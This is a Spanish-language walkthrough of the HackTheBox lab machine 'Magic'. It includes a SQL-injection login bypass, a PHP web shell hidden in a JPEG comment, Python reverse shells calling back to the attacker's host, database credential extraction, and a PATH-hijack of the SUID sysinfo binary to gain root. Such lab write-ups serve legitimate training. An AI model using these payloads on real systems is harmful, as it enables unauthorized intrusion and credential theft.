Magic es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Magic 10.10.10.185 a /etc/hosts como magic.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
# Nmap 7.80 scan initiated Mon May 11 21:20:20 2020 as: nmap -sV -Pn -sC -p- -oA magic-nmap 10.10.10.185 Nmap scan report for 10.10.10.185 Host is up (0.052s latency). Not shown: 65512 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA) | 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA) |_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Magic Portfolio 3579/tcp filtered ttat3lb 6308/tcp filtered unknown 6803/tcp filtered unknown 7746/tcp filtered unknown 7959/tcp filtered unknown 9513/tcp filtered unknown 17810/tcp filtered unknown 18268/tcp filtered unknown 26787/tcp filtered unknown 32405/tcp filtered unknown 32802/tcp filtered unknown 33659/tcp filtered unknown 37756/tcp filtered unknown 51192/tcp filtered unknown 53965/tcp filtered unknown 54503/tcp filtered unknown 60728/tcp filtered unknown 62622/tcp filtered unknown 63124/tcp filtered unknown 64056/tcp filtered unknown 64656/tcp filtered unknown Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon May 11 21:24:03 2020 -- 1 IP address (1 host up) scanned in 222.22 seconds |
Entre los puertos conocidos en el escaneo, y como no disponemos de credenciales para el puerto 22, pasamos directamente al puerto 80 donde encontramos el siguiente portal web.
Enumeración
Al acceder al portal web, lo primero que nos llama la atención es un listado de imágenes con nombres en valores hexadecimales, hacemos un simple script de 3 líneas en javascript para extraer todos los valores hexadecimales:
1 2 3 4 |
headers = document.querySelectorAll("h2"); for ( var i = 0; i < headers.length; i++ ) { console.log(headers[i].innerHTML); } |
Aunque está claro, que por aquí no vamos por buen camino.
Realizamos varios escaneos en busca de directorios y ficheros pero tampoco encontramos ningún punto importante sobre el cual apoyarnos así que continuamos con el enlace que hay en la parte inferior izquierda del portal, donde indica “Please Login, to upload images.” que nos lleva a la siguiente página:
El título de esta página es “Magic Login” así que nos da que pensar que tengamos que realizar algún tipo de inyección SQL.
Después de algunas vueltas y muchos intentos conseguimos bypassear el login con el siguiente payload:
1 2 |
Username: 'or''=' Password: 'or''=' |
Y, al completar el formulario, pasamos a la página mencionada de subida de imágenes:
Probamos la posibilidad de subir un fichero php y nos salta un error indicando que los tipos de archivo permitidos son JPG, JPEG y PNG, así que necesitaremos ocultar nuestra shell en una imagen para poder bypassear esta parte.
En nuestro caso nos descargamos una de las imágenes existentes en la home del portal y le añadimos un código en php en un comentario de la misma con la herramienta exiftool:
1 |
$ exiftool -Comment='<?php echo "<pre>";system($_GET['cmd']);?>' 1111.jpeg |
Y posteriormente copiamos nuestra imagen añadiendole la subextensión php:
1 |
cp 1111.jpeg 1111.php.jpeg |
A continuación subimos nuestra imagen con doble extensión al portal, la ruta de subida la sabemos por el resto de imágenes existentes en la home del portal, situadas en la uri /images/uploads/, así que buscamos la misma y probamos a ejecutar un comando sencillo para verificar que funciona, por ejemplo ls, y lo conseguimos:
Así que ahora nos queda subir nuestra shell para obtener acceso a la máquina. Creamos una reverse shell en python, como la que podemos obtener desde la entrada Cheatsheet – Reverse shell y la subimos al portal a través del parámetro cmd de nuestra imagen, eso sí, habiendolo codificado para hacerlo más efectivo, quedando de la siguiente forma:
1 |
http://10.10.10.185/images/uploads/1111.php.jpeg?cmd=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.15.228%22%2C4444%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22%2Fbin%2Fbash%22%29%27 |
Cabe destacar que de primeras hice la prueba con python (python2 por defecto) y esta no funcionó, así que probé con python3 y en este caso sí conseguí la shell accediendo a la máquina con el usuario www-data:
1 2 3 4 5 6 7 8 |
$ nc -lvp 4444 listening on [any] 4444 ... 10.10.10.185: inverse host lookup failed: Unknown host connect to [10.10.15.228] from (UNKNOWN) [10.10.10.185] 60948 www-data@ubuntu:/var/www/Magic/images/uploads$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@ubuntu:/var/www/Magic/images/uploads$ |
De primeras intentamos conseguir el listado de usuarios del fichero /etc/passwd cuyo contenido es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin uuidd:x:105:111::/run/uuidd:/usr/sbin/nologin avahi-autoipd:x:106:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin rtkit:x:109:114:RealtimeKit,,,:/proc:/usr/sbin/nologin cups-pk-helper:x:110:116:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin speech-dispatcher:x:111:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false whoopsie:x:112:117::/nonexistent:/bin/false kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin saned:x:114:119::/var/lib/saned:/usr/sbin/nologin pulse:x:115:120:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin avahi:x:116:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin colord:x:117:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin hplip:x:118:7:HPLIP system user,,,:/var/run/hplip:/bin/false geoclue:x:119:124::/var/lib/geoclue:/usr/sbin/nologin gnome-initial-setup:x:120:65534::/run/gnome-initial-setup/:/bin/false gdm:x:121:125:Gnome Display Manager:/var/lib/gdm3:/bin/false theseus:x:1000:1000:Theseus,,,:/home/theseus:/bin/bash sshd:x:123:65534::/run/sshd:/usr/sbin/nologin mysql:x:122:127:MySQL Server,,,:/nonexistent:/bin/false |
Y observamos que el usuario theseus puede ser un potencial para conseguir escalar al usuario y obtener la flag de user, pero todavía no tenemos información suficiente así que seguimos investigando.
Revisamos el contenido del portal y encontramos un fichero interesante en la home del mismo llamado db.php5:
1 2 3 4 5 6 7 8 9 10 11 |
www-data@ubuntu:/var/www/Magic$ ls -l ls -l total 48 drwxrwxr-x 6 www-data www-data 4096 Jun 6 2019 assets -rw-r--r-- 1 www-data www-data 881 Oct 16 2019 db.php5 -rw-r--r-- 1 www-data www-data 1125 May 11 14:32 exportDB.php drwxr-xr-x 4 www-data www-data 4096 Apr 14 05:04 images -rw-rw-r-- 1 www-data www-data 4528 Oct 22 2019 index.php -rw-r--r-- 1 www-data www-data 5539 Oct 22 2019 login.php -rw-r--r-- 1 www-data www-data 72 Oct 18 2019 logout.php -rw-r--r-- 1 www-data www-data 4520 Oct 22 2019 upload.php |
Cuyo contenido es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
<?php class Database { private static $dbName = 'Magic' ; private static $dbHost = 'localhost' ; private static $dbUsername = 'theseus'; private static $dbUserPassword = 'iamkingtheseus'; private static $cont = null; public function __construct() { die('Init function is not allowed'); } public static function connect() { // One connection through whole application if ( null == self::$cont ) { try { self::$cont = new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword); } catch(PDOException $e) { die($e->getMessage()); } } return self::$cont; } public static function disconnect() { self::$cont = null; } } |
Y parece que tenemos las credenciales de conexión a mysql:
1 2 3 4 |
private static $dbName = 'Magic' ; private static $dbHost = 'localhost' ; private static $dbUsername = 'theseus'; private static $dbUserPassword = 'iamkingtheseus'; |
Pero para descartar la posibilidad, intentamos acceder con ese usuario, y nos rechaza, la contraseña es incorrecta:
1 2 3 4 5 |
www-data@ubuntu:/var/www/Magic$ su theseus su theseus Password: iamkingtheseus su: Authentication failure |
Bueno, parece que tenemos que seguir buscando, las credenciales eran de mysql así que intentamos conectarnos pero tampoco existe dicho servicio, buscaremos los binarios a ver con cual podemos conseguir algo de información y conectar a la base de datos:
1 2 3 4 5 6 |
www-data@ubuntu:/var/www/Magic$ which mysql which mysql www-data@ubuntu:/var/www/Magic$ which mysqldump which mysqldump /usr/bin/mysqldump www-data@ubuntu:/var/www/Magic$ |
Encontramos que existe el binario de mysqldump, así que, aunque no podamos conectar directamente al mysql, podemos hacer un volcado de los datos para inspeccionarlos posteriormente:
1 2 3 4 5 6 7 8 9 |
www-data@ubuntu:/tmp$ mysqldump -u theseus -p Magic > a mysqldump -u theseus -p Magic > a Enter password: iamkingtheseus www-data@ubuntu:/tmp$ ls -l ls -l total 12 -rw-r--r-- 1 www-data www-data 1984 May 11 14:45 a www-data@ubuntu:/tmp$ |
Vale, lo tenemos, y el contenido del dump es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
-- MySQL dump 10.13 Distrib 5.7.29, for Linux (x86_64) -- -- Host: localhost Database: Magic -- ------------------------------------------------------ -- Server version 5.7.29-0ubuntu0.18.04.1 /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8 */; /*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; /*!40103 SET TIME_ZONE='+00:00' */; /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; -- -- Table structure for table `login` -- DROP TABLE IF EXISTS `login`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `login` ( `id` int(6) NOT NULL AUTO_INCREMENT, `username` varchar(50) NOT NULL, `password` varchar(100) NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `username` (`username`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Table structure for table `login` -- DROP TABLE IF EXISTS `login`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `login` ( `id` int(6) NOT NULL AUTO_INCREMENT, `username` varchar(50) NOT NULL, `password` varchar(100) NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `username` (`username`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `login` -- LOCK TABLES `login` WRITE; /*!40000 ALTER TABLE `login` DISABLE KEYS */; INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng'); /*!40000 ALTER TABLE `login` ENABLE KEYS */; UNLOCK TABLES; /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; /*!40101 SET SQL_MODE=@OLD_SQL_MODE */; /*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; /*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; /*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; -- Dump completed on 2020-05-11 14:45:04 |
En este caso hemos obtenido otras credenciales, si nos fijamos en la siguiente consulta:
1 |
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng'); |
Y esta si que podría pertenecer al usuario theseus mencionado.
Obteniendo la flag de user
Probamos a acceder con el usuario theseus y la password obtenida del dump de mysql y ahora sí, entramos y tenemos la flag de user:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
www-data@ubuntu:/tmp$ su theseus su theseus Password: Th3s3usW4sK1ng theseus@ubuntu:/tmp$ id id uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users) theseus@ubuntu:/tmp$ cd /home/theseus cd /home/theseus theseus@ubuntu:~$ ls -l ls -l total 36 drwxr-xr-x 2 theseus theseus 4096 Oct 22 2019 Desktop drwxr-xr-x 2 theseus theseus 4096 Oct 22 2019 Documents drwxr-xr-x 2 theseus theseus 4096 Oct 22 2019 Downloads drwxr-xr-x 2 theseus theseus 4096 Oct 22 2019 Music drwxr-xr-x 2 theseus theseus 4096 Oct 22 2019 Pictures drwxr-xr-x 2 theseus theseus 4096 Oct 22 2019 Public drwxr-xr-x 2 theseus theseus 4096 Oct 22 2019 Templates -r-------- 1 theseus theseus 33 May 11 12:25 user.txt drwxr-xr-x 2 theseus theseus 4096 Oct 22 2019 Videos theseus@ubuntu:~$ |
Escalado de privilegios
Buscaremos en la máquina posibles ficheros binarios que dispongan de permisos suid, lo que nos podría ayudar a conseguir llevar a cabo el escalado a root:
1 |
find / -perm -u=s -type f 2>/dev/null |
Entre la lista de ficheros obtenidos, nos llama la atención uno en particular:
1 |
/bin/sysinfo |
sysinfo es un comando en linux que obtiene información del sistema con privilegios elevados y que realiza los siguientes comandos entre otras cosas:
1 2 3 4 |
lshw -short fdisk -l cat /proc/cpuinfo free -h |
Además, descubrimos que existe una vulnerabilidad en el mismo a través de la cual es posible escalar privilegios falseando el ejecutable lshw o fdisk con el objetivo de que al lanzar el comando sysinfo ejecute nuestro fake y con ello una shell que nos permita escalar a root.
Dicho esto, vamos a falsear, en nuestro caso, el ejecutable de lshw. Para ello haremos las siguientes acciones:
Nos iremos a la ruta /tmp y crearemos un directorio llamado 0:
1 2 3 |
theseus@ubuntu:~$ cd /tmp mkdir 0 cd 0 |
Crearemos ahora nuestro fichero de shell llamado lshw:
1 |
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.x.x",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' |
Y subiremos el mismo a la máquina en la ruta mencionada quedando /tmp/0/lshw
Le daremos permisos al fichero:
1 |
theseus@ubuntu:/tmp/0$ chmod 755 lshw |
y añadiremos la ruta creada a la variable PATH
1 |
export PATH="/tmp/0:$PATH" |
Obteniendo la flag de root
Ahora que ya tenemos falsificado el fichero lshw, sólo nos queda ejecutar de nuevo el comando sysinfo:
1 |
sysinfo |
Y cuando termine el mismo, tendremos nuestra shell como root en la máquina:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
$ nc -lvp 4445 listening on [any] 4445 ... 10.10.10.185: inverse host lookup failed: Unknown host connect to [10.10.15.228] from (UNKNOWN) [10.10.10.185] 33038 root@ubuntu:/tmp/0# id id uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus) root@ubuntu:~# cd /root cd /root root@ubuntu:/root# ls -l ls -l total 8 -r-------- 1 root root 1085 Oct 21 2019 info.c -r-------- 1 root root 33 May 11 12:25 root.txt root@ubuntu:/root# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace https://www.hackthebox.eu/home/users/profile/103792